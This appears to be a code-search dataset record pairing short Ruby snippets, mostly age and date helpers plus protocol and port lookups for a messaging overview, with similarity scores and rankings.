"def elderly_driver_birth_date\n Chronic.parse(\"#{rand(65..94)} years ago\").strftime('%m/%d/%Y')\n end",
"def valid_attributes\n { \"amount\"=>1245.to_s, 'book_id'=>@od.to_param,\n \"narration\"=>'Premier virement', \"date\"=>Date.today.to_formatted_s('%d-%m-%Y'),\n :compta_lines_attributes=>{'0'=>{account_id:@ba.to_param}, '1'=>{account_id:@bb.to_param}}\n }\n end",
"def get_cur_year\n\treturn $cur_year.to_i\nend",
"def current_age_for_birth_year(birth_year)\n 2003 - birth_year\nend",
"def age\n Date.today.year - birthdate[/\\d+$/].to_i\n end",
"def decades() 10 * years end",
"def age \n Date.today.year - birth_date.year\n end",
"def get_history_info(patient_injury)\n case patient_injury.accident_type\n when \"Employment\" # box 10a\n text_box \"X\", :at => [245, 511]\n #check the no boxs\n text_box \"X\", :at => [289, 488]\n text_box \"X\", :at => [289, 464]\n when \"Auto\" # box 10b\n text_box \"X\", :at => [245, 488]\n text_box patient_injury.accident_state, :at => [318, 488]\n #check the no boxes\n text_box \"X\", :at => [289, 511]\n text_box \"X\", :at => [289, 464]\n when \"Other\" # box 10c\n text_box \"X\", :at => [245, 464]\n # check the no boxes\n text_box \"X\", :at => [289, 488]\n text_box \"X\", :at => [289, 464]\n end\n\n #box 16 - unable to work\n if patient_injury.unable_to_work_start\n text_box patient_injury.unable_to_work_start.strftime(\"%m\"), :at => [388, 367]\n text_box patient_injury.unable_to_work_start.strftime(\"%d\"), :at => [408, 367]\n text_box patient_injury.unable_to_work_start.strftime(\"%y\"), :at => [425, 367]\n end\n if patient_injury.unable_to_work_stop\n text_box patient_injury.unable_to_work_stop.strftime(\"%m\"), :at => [487, 367]\n text_box patient_injury.unable_to_work_stop.strftime(\"%d\"), :at => [504, 367]\n text_box patient_injury.unable_to_work_stop.strftime(\"%y\"), :at => [523, 367]\n end\n\n #box 18 - hospitalization\n if patient_injury.hospitalization_start\n text_box patient_injury.hospitalization_start.strftime(\"%m\"), :at => [388, 343]\n text_box patient_injury.hospitalization_start.strftime(\"%d\"), :at => [408, 343]\n text_box patient_injury.hospitalization_start.strftime(\"%y\"), :at => [425, 343]\n end\n if patient_injury.hospitalization_stop\n text_box patient_injury.hospitalization_stop.strftime(\"%m\"), :at => [487, 343]\n text_box patient_injury.hospitalization_stop.strftime(\"%d\"), :at => [504, 343]\n text_box patient_injury.hospitalization_stop.strftime(\"%y\"), :at => [523, 343]\n end\n # box 14\n text_box patient_injury.start_illness.strftime(\"%m\"), :at => [14, 367]\n text_box patient_injury.start_illness.strftime(\"%d\"), :at => [32, 367]\n text_box patient_injury.start_illness.strftime(\"%y\"), :at => [50, 367]\n end",
"def age\n\n # date = Date.new\n current = Date.today.year\n birth_date = self.birth_date.to_s\n year = birth_date.split(\"-\")\n \n \n age = (current - year[0].to_i).to_s\n\n end",
"def caloric_requirement_st3(age, bmr)\n case age\n when 0..14\n bmr * 1.85\n when 15..17\n bmr * 1.95\n when 18..69\n bmr * 2.00\n else\n bmr * 1.95\n end\n end",
"def year\n @year ||= details.at(\"h1[itemprop='name'] span#titleYear a\").text.parse_year rescue nil\n end",
"def short_age(birth_year)\n Time.new.year - birth_year\nend",
"def dog_years(age)\n \thuman_year = age * 7\n \tp human_year.to_i\n end",
"def parse_age(data)\n current = nil\n last_constname = nil\n cps = []\n ages = []\n data_foreach('DerivedAge.txt') do |line|\n if /^# Total code points: / =~ line\n constname = constantize_agename(current)\n # each version matches all previous versions\n cps.concat(data[last_constname]) if last_constname\n data[constname] = cps\n make_const(constname, cps, \"Derived Age #{current}\")\n ages << current\n last_constname = constname\n cps = []\n elsif /^([0-9a-fA-F]+)(?:\\.\\.([0-9a-fA-F]+))?\\s*;\\s*(\\d+\\.\\d+)/ =~ line\n current = $3\n $2 ? cps.concat(($1.to_i(16)..$2.to_i(16)).to_a) : cps.push($1.to_i(16))\n end\n end\n ages\nend",
"def celebrate_birthday \r\n\t@age += 1\r\n\tend",
"def current_age_for_birth_year(birth_year)\n return 2016 - birth_year\nend",
"def epochyear\n 2000 + @line1[18...20].to_i\n end",
"def age\n\t\t\ttoday = Date.today\n\t\t\tday_diff = today.day - @dob.day\n\t\t\tmonth_diff = today.month - @dob.month - (day_diff < 0 ? 1 : 0)\n\t\t\ttoday.year - @dob.year - (month_diff < 0 ? 1 : 0)\n\t\tend",
"def amy_years\n (Time.now.year - 1977).ordinalize\n end",
"def dropout_rate_by_gender_in_year(year)\n if valid_year?(year)\n female = @dropout_rate.find_all { |hash| hash[:category] == \"Female Students\" && hash[:timeframe] == \"#{year}\" && hash[:dataformat] == \"Percent\" }\n male = @dropout_rate.find_all { |hash| hash[:category] == \"Male Students\" && hash[:timeframe] == \"#{year}\" && hash[:dataformat] == \"Percent\" }\n { female: truncate(female[0][:data]), male: truncate(male[0][:data]) }\n else\n nil\n end\n end",
"def company_attributes(row)\n {\n name: row[:name],\n isin: row[:isin],\n sector: find_or_create_tpi_sector(row[:sector]),\n market_cap_group: row[:market_cap_group].downcase,\n geography: geographies[row[:geography_iso]],\n headquarters_geography: geographies[row[:headquarters_geography_iso]],\n ca100: row[:ca100] || false,\n sedol: row[:sedol],\n latest_information: row[:latest_information],\n historical_comments: row[:historical_comments],\n visibility_status: row[:visibility_status]\n }\n end",
"def caloric_requirement_st2(age, bmr)\n case age\n when 0..14\n bmr * 1.65\n when 15..17\n bmr * 1.75\n when 18..69\n bmr * 1.75\n else\n bmr * 1.70\n end\n end",
"def attr\n {\n rfc: 'Rfc',\n name: 'Nombre',\n tax_residency: 'ResidenciaFiscal',\n entity_register_id: 'NumRegIdTrib',\n cfdi_usage: 'UsoCFDI'\n }\n end",
"def age\n (headers['Age'] || [(now - date).to_i, 0].max).to_i\n end",
"def get_accountability_ratings(years)\n ratings = []\n years.each do |year|\n title = \"#{year} rating: #{@state_org_id}\"\n rating = get_random_rating\n date = DateUtility.random_date_from_years(@rand, year)\n school_year = \"#{year}-#{year+1}\"\n ratings << {:title => title, :rating => rating, :date => date, :year => school_year, :rating_org => @parent_id, :program => \"AEIS\"}\n end\n ratings\n end",
"def age_in_dog_years\n 405\n end",
"def years_alive(birthday)\n #days in the months array\n days_in_months=[31,28,31,30,31,30,31,31,30,31,30,31]\n \n #current date \n the_time=Time.now.to_s.split(\" \")\n date=the_time[0].split(\"-\")\n \n #save each part of the date as a separate variable\n year=date[0].to_f\n month=date[1].to_f\n day=date[2].to_f\n \n #person's date\n user_date=birthday.split(\"/\")\n user_year=user_date[2].to_f\n user_month=user_date[0].to_f\n user_day=user_date[1].to_f\n\n #additional days to years_age(years_age is expressed in days)\n i=0 #counter\n extra_days=0\n days_in_months.each do |days|\n i+=1\n if i < month\n extra_days+=days\n end\n end\n \n #people who haven't had their birthday yet this year\n if user_month > month || (user_month==month && user_day > day)\n years_age = (year - user_year - 1)*365\n k=0\n more_days=0\n days_in_months.each do |days|\n k+=1\n if k > user_month\n more_days+=days\n end\n end\n days_age = extra_days+day+more_days+days_in_months[user_month-1]-user_day\n #people who have had their birthday this year\n else \n years_age=(year - user_year)*365\n j=0\n less_days=0\n subtract_days=days_in_months.each do |month|\n j+=1\n if user_month > j \n less_days+=month\n end\n end\n days_age=extra_days+day-less_days-user_day\n puts days_age\n end\n #factoring in leap years\n leap_years=((years_age/4)/365).floor\n #total of everything\n days_age+years_age+leap_years\nend",
"def user_requirements(fname, lname, month, yearofbirth)\n full_name = fname + ' ' + lname\n today_year = 2014\n today_month = 9\n month = 9\n yearofbirth = 1990\n final_age = (today_year - yearofbirth) + final_age_month\n puts full_name \n puts final_age\n end",
"def celebrate_birthday\n\t\t@age += 1\n\tend",
"def celebrate_birthday\n\t\t@age += 1\n\tend",
"def teen_driver_birth_date\n Chronic.parse('16 years ago').strftime('%m/%d/%Y')\n end",
"def insurance_fields\n [\n :pension_personal,\n :unemployment_personal,\n :medical_personal,\n :house_accumulation_personal,\n\n :pension_company,\n :unemployment_company,\n :medical_company,\n :injury_company,\n :birth_company,\n :house_accumulation_company\n ]\n end",
"def year\n if self.mitDirStudentYear\n Date.today.year + 4 - self.mitDirStudentYear.to_i + ((Date.today.month > 6)?1:0)\n else\n nil\n end\n end",
"def celebrate_birthday\r\n\t\t@age += 1\r\n\tend",
"def century(year)\n which_century(year) + numberth(which_century(year))\nend",
"def year_name(number); end"
] |
[
"0.5807297",
"0.56011546",
"0.5452058",
"0.5452058",
"0.5359808",
"0.5355504",
"0.52998847",
"0.52906036",
"0.52709967",
"0.5250252",
"0.5247376",
"0.5194594",
"0.51912796",
"0.517386",
"0.51321924",
"0.51321924",
"0.51321924",
"0.51277864",
"0.51174724",
"0.5113224",
"0.5089262",
"0.5041747",
"0.50394547",
"0.5036705",
"0.5025188",
"0.5020675",
"0.50174344",
"0.50106424",
"0.500347",
"0.49956235",
"0.49941704",
"0.49897224",
"0.49889007",
"0.49794686",
"0.49715093",
"0.49375278",
"0.4932892",
"0.49271095",
"0.49190193",
"0.49164835",
"0.4914166",
"0.49109927",
"0.49083966",
"0.49081025",
"0.48962682",
"0.4887297",
"0.48838082",
"0.48811206",
"0.48739448",
"0.48596326",
"0.48463327",
"0.48372597",
"0.48267898",
"0.48242748",
"0.48221081",
"0.48108506",
"0.4810396",
"0.4800801",
"0.47975233",
"0.4794588",
"0.479368",
"0.4789015",
"0.47850922",
"0.47809175",
"0.47747594",
"0.47728804",
"0.47726277",
"0.47693348",
"0.4751561",
"0.47495532",
"0.47484145",
"0.47467852",
"0.47371015",
"0.47339857",
"0.4732878",
"0.47264764",
"0.47259462",
"0.47250286",
"0.47215402",
"0.47082666",
"0.4707393",
"0.47069886",
"0.47059098",
"0.47016373",
"0.469993",
"0.46992993",
"0.46975547",
"0.46970424",
"0.4691467",
"0.46907654",
"0.4682482",
"0.46792307",
"0.46789572",
"0.46690574",
"0.46690574",
"0.46634898",
"0.46600038",
"0.4657514",
"0.4655347",
"0.4654661",
"0.46525922"
] |
0.0
|
-1
|
Returns a list of messaging protocols supported by the node (or cluster). Common values are: amqp amqp/ssl mqtt stomp The exact value depends on RabbitMQ configuration and enabled plugins.
|
def enabled_protocols
self.overview.listeners.
map { |lnr| lnr.protocol }.
uniq
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def protocols\n self\n .class.included_modules\n .reject { |m| m&.name.nil? }\n .select { |m| m.name.start_with? 'MatrixSdk::Protocols::' }\n .map { |m| m.name.split('::').last.to_sym }\n end",
"def protocols\n\t\t\treturn ( self.headers.sec_websocket_protocol || '' ).split( /\\s*,\\s*/ )\n\t\tend",
"def protocols\n\t\t\treturn ( self.headers.sec_websocket_protocol || '' ).split( /\\s*,\\s*/ )\n\t\tend",
"def get_enabled_protocols(protocols)\n Hash[ protocols.select {|k,v| v[\"shared\"] == \"1\" } ].keys\n end",
"def supported_protocols\n [\"afp\", \"smb\", \"ftp\"]\n end",
"def wp_allowed_protocols\n # TODO static $\n protocols = []\n\n if protocols.empty?\n protocols = [ 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' ]\n end\n\n # TODO ? if ( ! did_action( 'wp_loaded' ) ) {\n # \t# Filters the list of protocols allowed in HTML attributes.\n # \t$protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) );\n # }\n\n protocols\n end",
"def protocols\n get(\"/shodan/protocols\")\n end",
"def collection_protocols\n collection_registrations.map { |reg| reg.protocol }.uniq\n end",
"def protocol\n # This could return \"SMTPS\" which is non-standard is two cases:\n # - Client sends EHLO -> STARTTLS -> HELO sequence\n # - If using implicit TLS (i.e. non-standard port 465)\n (esmtp? ? \"E\" : \"\") + \"SMTP\" + (secure? ? \"S\" : \"\") + (authenticated? ? \"A\" : \"\")\n end",
"def get_guest_protocols(protocols)\n Hash[ protocols.select {|k,v| v[\"guest access\"] == \"1\" } ].keys\n end",
"def extract_protocols\n protocol_info = Hash[*snippet.split(/(#{supported_protocols.join(\"|\")}):\\t*[{}]/)[1..-1]]\n supported_protocols.each do |protocol_name|\n protocol_info[protocol_name] = extract_protocol(protocol_info[protocol_name])\n end\n protocol_info\n end",
"def network_protocol\n @options['network_protocol'] || 'tcp'\n end",
"def default_protocol(type)\n case type\n when 'stream'\n 'tcp'\n when 'dgram'\n 'udp'\n else\n 'unknown'\n end\n end",
"def supported_connections\n ConnectionProvider.providers.select { |connection| connection.supported_by?(@handle) }\n end",
"def supported_protocols\n [:https]\n end",
"def supported_platforms\n latest_extension_version.try(:supported_platforms) || []\n end",
"def protocol\n @connection.protocol\n end",
"def supported_methods\n return @supported_methods if @supported_methods\n help_response = request(:help)\n mm = help_response.split(\"\\n\").select { |l| l =~ /^\\w+(\\s|$)/ }\n @supported_methods = mm.map { |l| l.split(' ').first }.map(&:to_sym)\n end",
"def supported_algorithms\n {\n None: [],\n SHA: %w{HS256 HS384 HS512},\n RSA: %w{RS256 RS384 RS512},\n ESDSA: %w{ES256 ES384 ES512}\n }\n end",
"def unsupported_adapters\n []\n end",
"def get_message_types; end",
"def get_message_types; end",
"def supported\n @supported ||= []\n end",
"def connector_types\n [connector_type_1, connector_type_2]\n end",
"def puppetdb_supported_platforms()\n [\n /debian-7/,\n /debian-8/,\n /el/, # includes cent6,7 and redhat6,7\n /ubuntu-12/,\n /ubuntu-14/,\n ]\n end",
"def socket_protocol\n\t\t\t\taddress.protocol\n\t\t\tend",
"def protocol_name\n rc, name = Cproton.pn_ssl_get_protocol_name(@impl, 128)\n name if rc\n end",
"def properties\n { 'message_type' => 'compatibility', 'protocol_version' => @protocol_version }\n end",
"def supported_languages\n return self.supported_locales.present? ? self.supported_locales : [\"en\"]\n end",
"def protocol\n @protocol ||= @raw_protocol[0..-4]\n end",
"def protocol?(protocol)\n protocols.include? protocol\n end",
"def message_types\n @message_types ||= {}\n end",
"def list_all_multis\n\t\t\t$redis.list_multis('*').sort.each do |multi, config|\n\t\t\t\tsupported = $redis.support(config[:supported])\n\t\t\t\tputs \"#{multi} (network #{config[:network]}) (supports : #{supported.join(\", \")})\"\n\t\t\tend\n\t\tend",
"def node_types\n schema.possible_types(node_interface)\n end",
"def platform\n case number\n when /whatsapp/\n 'whatsapp'\n when /messenger/\n 'messenger'\n else\n 'sms'\n end\n end",
"def resourceType\n 'Protocol'\n end",
"def protocols=(value)\n Curl.set_option(:protocols, value_for(value, :enum, :protocols), handle)\n end",
"def protocol\n @context.registers[:protocol]\n end",
"def platforms\n [ RUBY_PLATFORM ].tap do |list|\n list.push \"JVM #{java_version}\" if jruby?\n end\n end",
"def protocols=( new_protocols )\n\t\t\tvalue = Array( new_protocols ).join( ', ' )\n\t\t\tself.headers.sec_websocket_protocol = value\n\t\tend",
"def protocol_name\n PROTOCOLS[protocol.to_s]\n end",
"def protocol_ports\n (self.overview.listeners || []).\n reduce(Hash.new) { |acc, lnr| acc[lnr.protocol] = lnr.port; acc }\n end",
"def protocol_name\n self.class.protocol_name\n end",
"def node_list\n connect unless connected?\n set_config unless @config\n\n return [] unless config\n\n [\"#{@host}:#{@port}\"]\n end",
"def protocol; protocols.first; end",
"def protocol; protocols.first; end",
"def getlist\r\n result = SUPPORTED_LANG_LIST\r\n end",
"def protocol\n if @protocol.nil?\n @protocol = RbSync::Protocol::new(self.io, self.logger)\n else\n @protocol\n end\n end",
"def supported_domains\n return %w(ADS-QUEUE ADS-AXIOMATIC-QUEUE ALGEBRAICADS-QUEUE)\n end",
"def protocol\n if !block_given?\n return @j_del.java_method(:protocol, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling protocol()\"\n end",
"def server_mechanisms\n mechanisms :server\n end",
"def platform_types\n @platform_types.to_hash\n end",
"def protocol_bits\n raise NotImplementedError\n end",
"def platform_types\n get(\"platform-types\")[\"types\"]\n end",
"def get_message_types\n [KEXDH_INIT, KEXDH_REPLY]\n end",
"def protocol_name\n self.class.to_s\n end",
"def available_plugins\n @plugins.keys\n end",
"def supported_extensions\n\t\treturn self.supported_extension_oids.collect {|oid| EXTENSION_NAMES[oid] || oid }\n\tend",
"def ciphers\n @ciphers ||= config[:ciphers].collect { |cipher_config| Cipher.from_config(**cipher_config) }\n end",
"def supported_platforms\n _platforms = {\n #\n # os: 'linux'\n # platform_family: 'debian'\n 'debian' => %w(jessie/sid 7.6 7.5 7.4 7.2 7.1 7.0 6.0.5),\n 'ubuntu' => %w(14.10 14.04 13.10 13.04 12.04 10.04),\n # platform_family: 'rhel'\n 'amazon' => %w(2014.09 2014.03 2013.09 2012.09),\n 'centos' => %w(7.0.1406 6.6 6.5 6.4 6.3 6.0 5.11 5.10 5.9 5.8),\n 'oracle' => %w(6.5 5.10),\n 'redhat' => %w(7.0 6.5 6.4 6.3 6.2 6.1 6.0 5.10 5.9 5.8 5.7 5.6)\n }\nend",
"def preferred_cipher_suites\n each_preferred_cipher_suite.to_a\n end",
"def supported_rubies\n @supported_rubies ||= supported_mri_rubies + jrubies\n end",
"def message_types\n {\n create: [:light_cyan, :cyan],\n store: [:light_cyan, :cyan],\n update: [:light_cyan, :cyan],\n reset: [:light_cyan, :cyan],\n\n event: [:light_magenta, :magenta],\n\n timer: [:light_blue, :blue],\n\n info: [:white, :light_grey],\n test: [:white, :light_grey],\n debug: [:white, :light_grey],\n\n input: [:light_yellow, :yellow],\n output: [:light_green, :green],\n\n error: [:light_red, :red],\n\n config: [:light_blue, :blue],\n dsl: [:light_blue, :blue],\n editor: [:light_blue, :blue],\n drb: [:light_blue, :blue],\n }\n end",
"def duplex_modes\n return @duplex_modes\n end",
"def platforms\n return @platforms\n end",
"def are_supported_peer_terminations_connected?\r\n self.find_supported_peer_terminations.detect{|t| t.in_connection?}.nil? ? true : false\r\n end",
"def connectors\n return @connectors\n end",
"def connectors\n return @connectors\n end",
"def get_queues\n @gem_queue = get_queue 'gem'\n @md5_queue = get_queue 'md5'\n @sha512_queue = get_queue 'sha512'\n end",
"def available_plugins\n PluginList.availables(@client)\n end",
"def compatible_encoders\n encoders = []\n\n c_platform, c_arch = normalize_platform_arch\n\n framework.encoders.each_module_ranked(\n 'Arch' => c_arch, 'Platform' => c_platform) { |name, mod|\n encoders << [ name, mod ]\n }\n\n return encoders;\n end",
"def _protocol\n @_protocol ||= self.__send__(:_protocol=, RemoteConnection)\n end",
"def transport\n remote? ? 'remote' : protocol\n end",
"def supported_commands\n commands.keys\n end",
"def cellular_block_messaging\n return @cellular_block_messaging\n end",
"def protocol\n response = get(:protocol)\n version = response.body\n version.to_i rescue 0\n end",
"def registered_node_types\n [Nodes::String, Nodes::Excludes, Nodes::MustInclude, Nodes::Text]\n end",
"def supported_platforms\n _platforms = {\n #\n # os: 'linux'\n # platform_family: 'debian'\n 'debian' => %w(jessie/sid\n 8.4 8.2 8.1 8.0\n 7.10 7.9 7.8 7.7 7.6 7.5 7.4 7.2 7.1 7.0\n 6.0.5),\n 'ubuntu' => %w(16.04\n 15.10 15.04\n 14.10 14.04\n 13.10 13.04\n 12.04 10.04),\n # platform_family: 'rhel'\n 'amazon' => %w(2016.03\n 2015.09 2015.03\n 2014.09 2014.03\n 2013.09 2012.09),\n 'centos' => %w(7.2.1511 7.1.1503 7.0.1406\n 6.8 6.7 6.6 6.5 6.4 6.3 6.2 6.1 6.0\n 5.11 5.10 5.9 5.8 5.7 5.6 5.5 5.4 5.3 5.2),\n 'oracle' => %w(7.1 7.0\n 6.6 6.5\n 5.10),\n 'redhat' => %w(7.1 7.0\n 6.6 6.5 6.4 6.3 6.2 6.1 6.0\n 5.10 5.9 5.8 5.7 5.6)\n }\nend",
"def protocol_version\n @protocol_version\n end",
"def protocol; config[:protocol]; end",
"def default_platform_list\n [\n metadata.platform,\n *ruby_versions,\n *platforms,\n RbConfig::CONFIG['build']\n ]\n end",
"def preferred_types(supported_types)\n @preferred_auth_policies.select{|uri| supported_types.member? uri}\n end",
"def extensions\n extensions_size = MemoryPointer::new( :size_t )\n error = OpenCL.clGetPlatformInfo( self, EXTENSIONS, 0, nil, extensions_size)\n error_check(error)\n ext = MemoryPointer::new( extensions_size.read_size_t )\n error = OpenCL.clGetPlatformInfo( self, EXTENSIONS, extensions_size.read_size_t, ext, nil)\n error_check(error)\n ext_string = ext.read_string\n return ext_string.split(\" \")\n end",
"def queues\n @channel.queues\n end",
"def local_proto\n local_https_enabled ? 'https' : 'http'\n end",
"def connectable_type\n const_get(\"CONNECTABLE_TYPE\")\n end",
"def proto_info\n Mysql::Protocol::VERSION\n end",
"def protocol_type\n self[:p_type].to_endian(:big)\n end",
"def registered_node_types\n [Nodes::String, Nodes::MustExclude, Nodes::MustInclude, Nodes::Text]\n end",
"def supported_ssh_host_key_algorithms\n @host_key_algo ||= SshKey.supported_host_key_algorithms(\n Util.read_file([:node_ssh_pub_key, @node.name])\n )\n end",
"def default_ssl_socket_class; end",
"def default_protocol\n @default_protocol ||= attrs[:default_protocol]&.downcase\n end",
"def is_legacy_auth_protocols_enabled\n return @is_legacy_auth_protocols_enabled\n end",
"def mechanisms(type)\n out = FFI::MemoryPointer.new :pointer\n result = Gsasl.send(\"gsasl_#{type}_mechlist\", @context, out)\n Gsasl.raise_error!(result)\n data = out.get_pointer(0)\n list = data.read_string.split(/\\s/)\n list\n ensure\n Gsasl.gsasl_free(data)\n end",
"def version4?\n ZMQ::LibZMQ.version4?\nend",
"def extensions\n TYPE_EXTS[type] || []\n end",
"def connections\n return @connectors.keys\n end",
"def beef_proto\n if public_enabled? && public_https_enabled?\n 'https'\n elsif public_enabled? && !public_https_enabled?\n 'http'\n elsif !public_enabled?\n local_proto\n end\n end",
"def protocol\n self[:ip_p]\n end",
"def list_multi\n\t\t\t$redis.list_multis.sort.each do |multi, config|\n\t\t\t\tsupported = $redis.support(config[:supported])\n\t\t\t\tputs \"#{multi} : #{config[:description]} (supports : #{supported.join(\", \")})\"\n\t\t\tend\n\t\tend"
] |
[
"0.6611549",
"0.6611149",
"0.6611149",
"0.593993",
"0.58764625",
"0.57830316",
"0.56831086",
"0.56583405",
"0.5649526",
"0.5635362",
"0.5561755",
"0.55457574",
"0.54450715",
"0.5440701",
"0.53676075",
"0.52836466",
"0.519165",
"0.50969887",
"0.5073199",
"0.50297445",
"0.50029033",
"0.50029033",
"0.49853337",
"0.49850193",
"0.49166027",
"0.48962456",
"0.4872226",
"0.4863316",
"0.4861101",
"0.48518032",
"0.48214266",
"0.4820095",
"0.4819299",
"0.47839323",
"0.47750065",
"0.4727184",
"0.47271174",
"0.47207135",
"0.4696111",
"0.46823037",
"0.46649557",
"0.46532908",
"0.4634466",
"0.46313873",
"0.46152216",
"0.46152216",
"0.4606201",
"0.4582772",
"0.45672566",
"0.4565266",
"0.45578393",
"0.45555285",
"0.4549754",
"0.45462632",
"0.4545685",
"0.4542253",
"0.4539741",
"0.4535606",
"0.45310837",
"0.45306405",
"0.4516751",
"0.45111918",
"0.44769472",
"0.44740728",
"0.4473719",
"0.44681418",
"0.44675982",
"0.44675982",
"0.44548896",
"0.4451301",
"0.44489196",
"0.44486356",
"0.4446061",
"0.44447047",
"0.44301173",
"0.44269004",
"0.44218004",
"0.44192964",
"0.44083044",
"0.44053",
"0.44049463",
"0.43942896",
"0.43906763",
"0.43825704",
"0.4371969",
"0.4368353",
"0.43674856",
"0.43640375",
"0.43534878",
"0.4337309",
"0.43247858",
"0.4320879",
"0.43182743",
"0.43114078",
"0.43076834",
"0.43023592",
"0.43007585",
"0.42993623",
"0.42886576",
"0.42785338"
] |
0.577266
|
6
|
Returns a hash of protocol => port.
|
def protocol_ports
(self.overview.listeners || []).
reduce(Hash.new) { |acc, lnr| acc[lnr.protocol] = lnr.port; acc }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash\n \"#{@ipv4}#{@port}\".hash\n end",
"def to_hash\n thishash = Hash.new()\n thishash['node_number'] = @node_number\n thishash['port'] = @port\n unless @slaveof.nil?\n thishash['slaveof'] = @slaveof['host'] + \":\" + @slaveof['port'].to_s\n end\n return thishash\n end",
"def protocol_name\n PROTOCOLS[protocol.to_s]\n end",
"def port_string\n (protocol == 'http://' && port == 80) || (protocol == 'https://' && port == 443) ? '' : \":#{port}\"\n end",
"def protocol_name\n rc, name = Cproton.pn_ssl_get_protocol_name(@impl, 128)\n name if rc\n end",
"def getHostnameToPort()\n @hostnameToPort = Hash.new\n\n # for every node we recognize, create an empty spot\n @allWeights.collection.each { |weight| \n if @ipToHostname[weight.srcIp]\n @hostnameToPort[weight.srcHostname] = \"\"\n end\n }\n\n nodeFile = File.open(\"#{@pathToNode}\", \"r\")\n\n nodeFile.each_line do |line|\n arr = line.split('=')\n\n if @hostnameToPort[\"#{arr[0]}\"]\n @hostnameToPort[\"#{arr[0]}\"] = \"#{arr[1].delete(\"\\n\").to_i}\"\n end\n end\n end",
"def protocol\n @protocol ||= @raw_protocol[0..-4]\n end",
"def rule2hash(rule)\n if rule.protocol.include?('icmp') && (rule.local_ports.first != 'any' || rule.remote_ports.first != 'any')\n raise \"Rule #{rule.name} includes ICMP and specifies ports\"\n end\n return copy_rule_properties(rule)\n end",
"def hash\n [check_id, exceptions, key, links, port, proof, protocol, since, status].hash\n end",
"def protocol\n v = @head.fetch[1]\n raise \"Invalid protocol version name '#{v}'\" unless v =~ /^[0-9]+$/\n v.to_i\n end",
"def hash\n [oct, pc].hash\n end",
"def port_string; end",
"def port_names\n @ports.keys\n end",
"def peer_info\n peer_bytes = get_peername[2, 6].unpack(\"nC4\")\n port = peer_bytes.first.to_i\n ip = peer_bytes[1, 4].join(\".\")\n\n [ip, port]\n end",
"def hash\n [host_list, total_matching, total_returned].hash\n end",
"def peer_info\n peer_bytes = get_peername[2, 6].unpack(\"nC4\")\n port = peer_bytes.first.to_i\n ip = peer_bytes[1, 4].join(\".\")\n\n [ip, port]\n end",
"def socket_protocol\n\t\t\t\taddress.protocol\n\t\t\tend",
"def server_hash\n @server_hash ||= {}.tap do |h|\n num_members.times do |idx|\n h[\"server.#{idx}\"] = \"127.0.0.1:#{base_port + FOLLOWER_PORT_OFFSET + idx}:#{base_port + LEADER_PORT_OFFSET + idx}\"\n end\n end\n end",
"def determine_ports\n ports = @info[:ports] = {}\n\n netstat = @shell.query('NETSTAT', \"netstat -ntlp|awk '{print $4, $NF}'\")\n netstat.lines.each do |line|\n net, process = line.split(/\\s+/, 2)\n process = process.split(/\\//, 2)[1]\n net = net.gsub(/([0-9.:]+):([0-9]+)/, '\\1 \\2')\n net, port = net.split(/ /, 2)\n\n ports[net] ||= {}\n ports[net][port] = process\n end\n end",
"def hashed_ip\n Hmac.instance.hash request.remote_ip\n end",
"def hash\n [domain, register_server, transport_protocol, proxy_server, register_server2, transport_protocol2, proxy_server2, register_server3, transport_protocol3, proxy_server3, registration_expire_time, user_name, password, authorization_name, user_email, voice_mail].hash\n end",
"def hash\n [_self, _links, _schema, _revision, _system_owned, display_name, description, tags, _create_user, _protection, _create_time, _last_modified_time, _last_modified_user, id, resource_type, ip_protocol, server_tcp_profile_id, sorry_pool_id, port, server_ssl_profile_binding, pool_id, client_tcp_profile_id, default_pool_member_port, access_log_enabled, application_profile_id, max_concurrent_connections, rule_ids, max_new_connection_rate, persistence_profile_id, client_ssl_profile_binding, default_pool_member_ports, ip_address, ports, enabled].hash\n end",
"def extract_protocol(protocol_string)\n [\"name\", \"shared\", \"guest access\", \"inherit perms\"].inject({}) do |hash, key|\n hash[key] = protocol_value_for_key_in_string(key, protocol_string)\n hash\n end\n end",
"def ssh_port\n max_adapters = machine.parent.system_properties.get_max_network_adapters(machine.chipset_type)\n\n max_adapters.times do |i|\n adapter = machine.get_network_adapter(i)\n\n port_details = adapter.nat_driver.redirects.detect do |redirect|\n redirect.split(',').first == 'ssh'\n end\n\n if port_details\n return port_details.split(',')[3]\n end\n end\n\n nil\n end",
"def to_s\n [@host, @rpc_port].join(':')\n end",
"def port\n data[:port]\n end",
"def to_s\n\t\treturn \"%s:%d\" % [ self.peer_host, self.peer_port ]\n\tend",
"def port\n @hash[\"Listen\"].to_i\n end",
"def port\n nodes[0][1].to_i\n end",
"def actual_port; end",
"def actual_port; end",
"def exposed_ports\n { 22 => {} }.merge(Hash.new @ports)\n end",
"def hash\n [action_url, digit_timeout_ms, finish_on_key, flush_buffer, initial_timeout_ms, max_digits, min_digits, prompts, privacy_mode].hash\n end",
"def request_hash(request)\n {\n host: request.host,\n protocol: (request.respond_to?(:protocol) ? request.protocol : \"#{request.scheme}://\"),\n fullpath: request.fullpath,\n port_string: (request.respond_to?(:port_string) ? request.port_string : \":#{request.port}\"),\n }\n end",
"def socket_port; end",
"def input_port_names\n input_ports.keys\n end",
"def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end",
"def protocol\n self[:ip_p]\n end",
"def peerinfo\n if self.conn\n pi = self.conn.peerinfo || nil\n if pi\n return {\n 'addr' => pi.split(':')[0],\n 'port' => pi.split(':')[1].to_i\n }\n end\n end\n nil\n end",
"def output_port_names\n output_ports.keys\n end",
"def ssh_port(expected)\n end",
"def port\n @port ||= use_ssl ? 636 : 389\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n [rel, href].hash\n end",
"def protocol_name\n self.class.protocol_name\n end",
"def to_s\n\t\t\"%s:%d\" % [ @peerHost, @peerPort ]\n\tend",
